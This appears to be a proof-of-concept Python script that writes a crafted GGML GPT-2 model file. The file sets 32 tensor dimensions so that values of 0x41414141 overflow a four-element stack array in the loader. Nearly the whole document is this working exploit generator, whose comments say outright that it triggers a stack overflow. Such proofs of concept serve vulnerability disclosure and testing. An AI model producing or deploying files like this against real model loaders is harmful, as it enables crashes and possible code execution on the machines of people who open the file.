File size: 1,421 Bytes
b8bfb10 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | import struct
def write_malicious_gpt2_model(path):
buf = bytearray()
# Magic: GGML_FILE_MAGIC
buf += struct.pack('<I', 0x67676d6c)
# Hyperparameters
n_vocab = 2 # minimal vocab
buf += struct.pack('<i', n_vocab) # n_vocab (in hparams)
buf += struct.pack('<i', 1024) # n_ctx
buf += struct.pack('<i', 768) # n_embd
buf += struct.pack('<i', 12) # n_head
buf += struct.pack('<i', 12) # n_layer
buf += struct.pack('<i', 1) # ftype
# Vocab section starts with n_vocab again
buf += struct.pack('<i', n_vocab)
# Vocab entries (minimal)
for i in range(n_vocab):
word = f't{i}'.encode()
buf += struct.pack('<I', len(word))
buf += word
# Tensor: n_dims=32 triggers stack overflow in ne[4]
n_dims = 32
buf += struct.pack('<i', n_dims)
tensor_name = b'weights'
buf += struct.pack('<i', len(tensor_name))
buf += struct.pack('<i', 0) # ttype = F32
# Dimensions - first 4 go into ne[4], rest overflow stack
for i in range(n_dims):
buf += struct.pack('<i', 0x41414141 if i >= 4 else 1)
buf += tensor_name
# Some dummy tensor data
buf += b'\x00' * 64
with open(path, 'wb') as f:
f.write(buf)
print(f'Written {len(buf)} bytes to {path}')
write_malicious_gpt2_model('/tmp/ggml-poc/malicious_gpt2_v2.bin')
|